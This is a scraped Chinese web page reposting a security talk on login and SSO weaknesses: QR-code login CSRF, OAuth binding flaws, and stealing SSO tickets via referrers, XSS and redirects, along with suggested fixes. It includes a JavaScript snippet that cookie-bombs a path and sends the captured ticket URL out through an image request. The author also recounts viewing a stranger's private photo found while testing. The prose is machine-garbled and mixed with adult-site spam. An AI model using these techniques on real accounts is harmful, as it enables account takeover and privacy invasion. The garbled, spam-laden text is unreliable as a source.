创建或修改目录:/www/wwwroot/104.219.215.234/data 失败!
发布日期:2024-10-13 18:24 点击次数:114
a8午夜电影
0x00 简介
这篇是我前几个月在CSDN开荒者大会上讲的账号通行证安全干系的PPT《我的通行你的证》的笔墨整理版,稍稍补充了点骨子。因为懒一直没期间写,但年关将至,猜度不错为故地的孩子们多挣点压岁钱……
几个月前,我在测百度的一个账号体系的间隙时,不测中插足了慈云寺桥一甜品店的女收银员的百度网盘,其时随心看了两眼,倏得发现了她的一张裸照,吓的我马上关了页面。其时我就想,要是她是我最佳的一又友的女一又友,她的裸照被坏东说念主专揽间隙报复而深切了,那该多不好呀
换位念念考后,我闭着眼,对着裸照悄悄发誓,保护女网友,东说念主东说念主有责
此文相比长,提议列位让女一又友无须再等了,让她穿上裤子先睡
主流盗号的八十一种姿势 密码类间隙 ——密码深切、暴力破解、撞库、密码找回间隙、社工库、垂纶… 认证cookie被盗 ——xss报复、麇集深切、中间东说念主报复 其他间隙 ——二维码登录、单点登录、第三方登录、客户端web自动登录、绑定其他账号登录、oauth登陆间隙…今天不讲密码安全,今上帝要讲讲互联网上常见的一些通行证干系的“其他间隙”
0x01 先稍稍讲讲认证cookie的安全目下各大互联网公司的网站大多使用cookie来终了对用户的认证。要是报复者拿到了这个认证cookie,就不错登录了用户的账号了
cookie安全详实点
Httponly:驻扎cookie被xss偷
https:驻扎cookie在集聚合被偷
Secure:拦阻cookie在非https下传输,许多全站https时会漏掉
Path :离别cookie的标记,安全上作用不大,和浏览器同源破裂
Httponly:驻扎cookie被xss偷 xss报复不错获取用户的cookie。但要是cookie加上了httponly属性,js就无法读取,不错保护咱们的cookie不在xss报复中被偷走 但许多安全从业东说念主员合计cookie加上httponly了,xss就不算什么间隙了。这天然是无厘头的,xss是法度的html/js代码注入间隙,它不单是只是不错偷cookie,还不错作念许多,底下会有许多例子…
https:驻扎cookie在集聚合被偷 目下主流网站的认证cookie在互联网中齐是无保护进行传输的,可能会在集聚合被嗅探或其他方式深切。是以提议安全级别高的网站使用全站https,况且不扶持http的走访,而且还要使用HSTS,强制把http的恳求转成https恳求
Secure:拦阻cookie在非https下传输,许多全站https时会漏掉 即使有时候你作念了全站https,但你的cookie莫得加上Secure属性的话。集聚合间东说念主不错在第三方页面中强制你使用http走访作念了全站https的domain,此时你的cookie一样会在不安全集聚合传输。要是加了secure属性,则此cookie只在https的恳求中传输
Path :离别cookie的标记,安全上作用不大,和浏览器同源破裂 cookie还有一个path属性,这是一个离别cookie的标记,安全上作用不大,和浏览器同源战略破裂。因为,旅途A下的xss诚然读不到旅途B下的cookie,但旅途A下的xss统共不错注入代码插足旅途B的页面,然后再去读旅途B下的cookie
相比好的cookie决议
cookie的不可猜测性 httponly+HTTPS+Secure+HSTS 同IP不同port,尽量不要部署多个不同的web就业,因为cookie不离别端口 0x02通行证的“其他间隙”常见的通行证干系功能
二维码登录 单点登录 第三方登录 app内嵌页登录 绑定其他账号 跨域传输认证信息 oauth登录 …… 0x03 二维码登录的安全风险1. 无活动说明
用户扫描二维码后,系统需领导用户进修二维码的活动。若无说明,用户扫描报复者的登录二维码后,非常于给报复者的票授权
案例: 不错诓骗劫抓插足斗争用户的帐号 WooYun: 不错诓骗劫抓插足斗争用户的帐号
2. CSRF间隙伪造授权恳求
给单子授权的恳求要是是http的,况且不错被报复者伪造。报复者不错伪造恳求让用户扫描二维码后实行,或让用户以其他款式对报复者的单子进行授权
一些二维码的授权恳求按理说应该只在app端有用,但大多案例中,此恳求在web站登陆情景下亦然有用,增大了报复面
案例:
微博上点开我发的蚁集我就可登进你的淘宝支付宝和微博 WooYun: 微博上点开我发的蚁集我就可登进你的淘宝支付宝和微博可盗号可挂马(poc中附多少从洞)
聊着聊着我就上了你……的微信 WooYun: 聊着聊着我就上了你……的微信(两处齐不错劫抓微信登录的间隙)
建设决议 用户扫描二维码后,系统需领导用户进修二维码的活动,见告风险,磋商用户是否要实行操作 用户说明后的恳求报复者无法伪造,比如和用户身份干系的一个校验token 二维码的授权恳求在web登陆情景下不可用,致使不错使用非http公约,不错减少许多的报复面 0x04 绑定其他账号的安全风险绑定恳求未作念csrf防护,报复者不错构造坏心恳求让用户绑定了报复者的账号。这么报复者登录他我方的账号后就不错操作用户的资源
案例:网易某处点开我的蚁集就会被盗号 by 子非海绵宝宝
另外绑定了越多第三方的账号,会让你的安全级别裁汰,因为你的扫数账号同期不出事的可能性裁汰了
建设决议通用的防CSRF的科罚决议,referrer+token
当我在谈csrf或jsonp劫抓的时候,曾际遇无数东说念主告诉我referrer不错伪造。我只可说目下我还不知说念在浏览器端伪造referrer的方法。要是你不错我方写个方法伪造referrer,那咱俩聊的不是一个事
0x05 绑定第三方oauth账号登陆的安全风险 从oauth就业商那获取到accesstoken后,在和本站账号绑定时,未校验state参数,导致绑定恳求不错csrf。报复者不错用csrf辩论让你绑定他的账号 即使作念了state参数的校验。绑定的开动恳求,如点击绑定按钮发出的恳求未作念csrf防护 新浪微博等某些就业商的oauth授权有如下特色,要是面前登陆的微博也曾授权过该应用,那么就会自动绑定得胜 是以咱们不错找一个新浪微博登陆的csrf间隙,让用户自动登陆报复者的微博(新浪有此类间隙,这里就概略实写出) 然后再让用户走访绑定恳求,这么就完成了对报复者微博的绑定。报复者使用微博登陆就不错插足用户的账号案例: 点我的蚁集我就可能会插足你的果壳账号
对于oauth的更多安全总结,不错参考著作 OAuth 2.0安全案例回顾
0x06 认证cookie的不法度传输安全风险认证cookie本应该只出当今http恳求中,况且在浏览器端的存储中加了httponly属性,是不会被xss报复盗取的。但某些功能架构中,认证cookie的不法度传输和使用可能会导致认证cookie深切
页面或接口数据输出了面前用户的认证信息,可能被面前页面的XSS报复专揽 ssrf接口授输cookie给第三方案例:
通过一糯米XSS可绕chrome并可用两种方式拿到httponly的BDUSS(大部分非IE用户点击后百度云盘贵府会被深切)
微博上你点我的蚁集我就可xss你并可拿到httponly的cookie过甚他危害
0x07 单点登录的安全风险 单点登陆的浅易旨趣需求:要是用户仍是登陆B站,则自动登陆A站 终了:用户走访A站,A站把用户跳转到B站,B站考据用户已登陆,给用户一张票,用户拿着票去找A站,A拿着票去B那,考据得胜后放用户进去
下文中将多数出现如下示例站点
A: B:`
例如:用户走访?url=
B站进修A站是白名单域后,然后302跳转到
?ticket=******
然后a.php用ticket参数去B站考据用户正当后,再给用户种认证cookie
偷认证信息的偶而历程如下,后头会细讲。总之报复的见识即是,拿到用户的ticket信息
常见的间隙场景互联网上常见的几个单点登陆场景,通行证或第三方站给的登陆凭的证使用的方式各有不同,分别该何如偷
场景1、径直使用单子来作念考据
?ticket=XXXXXXXXXXXXXXXX
就业端使用此ticket去sso考据此用户身份,然后在本域种认证cookie
偷的念念路:
让咱们构造的页面获取到证据后恳求咱们畛域的就业器上的资源,这么referrer里就有ticket信息了
偷的几种方式
找能发自界说src的图片的页面去sso取票,带着ticket信息的页面会发起图片恳求,图片就业是咱们我方的,咱们不错读到恳求中的referrer,referrer中会包含ticket信息 找能发自界说src的iframe的页面,iframe恳求中的referre有ticket 找一个有js跳转间隙的页面去取票,跳转见识地址是咱们的就业,js的跳转是带上referrer的,读取此恳求的referrer,内部包含ticket 要是img和iframe的src值只允许白名单域的url,那就再找一个白名单域的302跳转间隙来绕过白名单,302跳转不错传递上个恳求的referrer Xss获取地址栏信息暗意图如下,如下是我画的一个chrome浏览器,地址栏里ticket参数会被包含到底下的一些元素的恳求的referrer中
参考案例: WooYun: 微博上你点我发的蚁集我就不错登上你的微博(web版和app端均可两个间隙一并提交)
场景2、中间页罗致ticket完成认证,然后用js跳转到咱们的方针页
?ticket=XXXXXXXXXXXXXXXX&url= 此时会种上认证cookie
然后页面会使用js跳转到 location.href=“”;
例子:某绑定了微博账号后不错自动登陆的网站
偷的几种方式
找一个有302跳转间隙的页面如b.php,发起单点登陆恳求,然后带着ticket信息的b.php会跳转到咱们的就业上。因为js的跳转会带referrer,然后再通过302跳转把referrer传给咱们能畛域的页面 Xss获取面前页面referrer场景3、中间页罗致ticket完成认证,然后用302跳转到咱们的方针页
如下的多个302跳转
?url= ?ticket=XXXXXXXXXXXXXXXX&url=
偷的方式
Xss创建iframe,种超长cookie,让含ticket的302拒却就业,然后使用iframe.contentWindow.location.href读取临了的iframe确面前地址
拒却就业还有个平允,驻扎某些ticket有防重放的防护
#!js for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe'); iframe.src="?url=&"; iframe.addEventListener('load', function(){ var ntes = iframe.contentWindow.location.href; var img1 =document.createElement('img'); img1.src = "?r="+encodeURIComponent(ntes); for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe);
案例:网易用户登陆情景下点我的蚁集我就可插足其邮箱、云条记等就业
r级书屋小说如上方法不适用于IE的一些版块,因为IE在打不开页面的时候加载的是我方腹地的页面,导致失误页和咱们的xss页面不同源
建设决议由认证中心来跨域为子站竖立认证cookie
单点自动登陆需要防护csrf,让用户不可伪造登陆恳求
0x08 App内嵌页登录的风险当咱们在一个app内大开其公司产物的一些蚁集,会被加上认证信息去让用户自动登陆
微博客户端、QQ客户端、微信客户端齐曾有或当今正有此问题,一般会加上参数sid、gsid、key
案例:WooYun: 聊着聊着我就上了你……的微信(两处齐不错劫抓微信登录的间隙) ">聊着聊着我就上了你……的微信 案例:手机版QQ空间身份成分可被盗用 案例:之前的一个手机qq的间隙,找一qq域下论坛发一张图,然后把此页发给手机qq上好友,他点击就会被盗号偷的几种方式
见单点登录场景一的几种方式 用户致使和会过app的共享功能把认证信息共享到邮件或一又友圈建设决议
不要径直把认证证据添加到webview的URL来完成认证
使用COOKIE,POST齐不错
0x09 跨域从通行证获取到的证据跨域从通行证获取登陆ticket
款式为访佛?callback=jsonp
然后通行证会复返个jsonp方式的数据,内部包含认证信息
案例:微博上你点我发的蚁集我就不错登上你的微博
偷的几种方式
存在jsonp劫抓间隙 Referrer截至不严格,不错通过字符串匹配绕过。或者扶持空referrer,不错用一些妙技发出空referer恳求来绕过 Xss间隙,去跨域恳求此接口得到数据 建设决议架构上就不该使用此种决议
app和web的接口不要混用,要保证接口的干净单一。我际遇过一些案例,web和app为了相互兼容,而裁汰了自身的安全战略,或使用了分歧理的架构
0x0A 主流SSO的一些问题如上齐是间隙信息,但有时候还有些架构上的小问题可能会导致出现间隙,或者让报复者的间隙专揽更便捷
常见的sso的一些安全风险如下:
各个站的单子通用,许多径直用的即是认证cookie 认证Cookie竖立保护不够,httponly、secure… sso给子站授权的单子可重放 sso给子站授权的单子有用期绝顶长 认证信息传输未使用https sso未加入IP或UA等风控战略 报复者偷到单子后可减弱使用并无报警 单子的交互历程保护不严,容易被间隙偷。(好的历程应该是由sso来跨域颁发) 修改密码后认证cookie未失效 用户退出登录后认证cookie未失效 自动登录,绑定,退出等明锐功能,无csrf防护 绑定了第三方账号,裁汰我方的安全品级 App和web接口混用,导致安全级别裁汰案例:你windows上开着QQ点了我的蚁集我就进了你的qq邮箱财付通等(恣意腾讯xss拿qq的clientkey)
这个案例里除了xss间隙,有两个安全运筹帷幄上的问题,即是上头提到的:
认证Cookie保护不够 自动登录,绑定,退出等明锐功能,无csrf防护 0x0B 总结麇集是我家a8午夜电影,安全靠人人。保护女网友,帮她加把锁